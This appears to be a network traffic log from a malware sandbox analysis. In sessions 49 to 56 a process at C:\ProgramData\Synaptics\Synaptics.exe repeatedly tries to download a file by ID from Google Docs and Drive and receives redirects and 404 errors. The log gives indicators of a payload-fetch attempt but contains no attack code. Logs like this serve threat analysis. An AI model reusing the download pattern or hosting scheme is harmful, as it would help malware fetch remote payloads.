49	192.168.2.4	49810	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:08 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-JKju_-1VPKwo3SaqVMUrLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49812	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:08 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:09 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4rmfEY4Ike4b-cNVQpbOMTT7mXzYPfunRfmn0WirMXH8dWQ6GfRhHKCkeOnOqnc78k5wVs3X4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:09 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fGmiZ8GbVL8ptBSV4DmuJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:09 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:09 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 54 4f 39 37 4f 59 6e 76 63 30 37 4e 43 42 62 56 53 69 55 53 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="rTO97OYnvc07NCBbVSiUSg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:09 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49811	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:08 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-ZEgZaOY8l_mc-oY0o0yzzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49814	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:09 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:09 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC42b2AxuBfNaZkuZYzUo4NjnozgisAXBuyrU-KcnxmU1R8rKZ3s6Sme1NwcfvzTYTRG Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:09 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-eDPxUEMdja1HvDb91tBawA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:09 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:09 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 71 45 4d 2d 34 4a 36 74 62 6c 79 58 72 67 67 30 33 45 35 71 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="QqEM-4J6tblyXrgg03E5qQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:09 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49815	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:09 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-_9LMm-X5a9qO0mwCgm_x-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49817	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:09 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-9Gxo1M__mou8JlmApqa5QA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49816	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:09 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:10 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6fgbHQUxNcXJy246NXrNnAPRoUWAuorDDX9rRnKvzjp0-bhNEJeVhmBv7BuZZ1DwBo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:10 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-l6RzfsO5Iu364I2j4ZIaUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:10 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:10 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 79 56 5f 4e 5a 39 71 4d 61 5a 37 49 68 66 4a 4e 34 41 73 68 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="VyV_NZ9qMaZ7IhfJN4AshA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:10 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49818	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:10 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:10 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5_NNTtI3YhGoiDZJTFh_92X5goal0xhS7kT4-KlQqluZOqdhLIa9-1xBKSI5bR2Up5yYeRo_U Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:10 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-323h0RAvFX0bKGa9nhr74g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:10 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:10 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 36 57 54 58 5f 6e 70 70 4b 6c 37 57 47 31 79 44 74 61 36 75 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="A6WTX_nppKl7WG1yDta6uQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
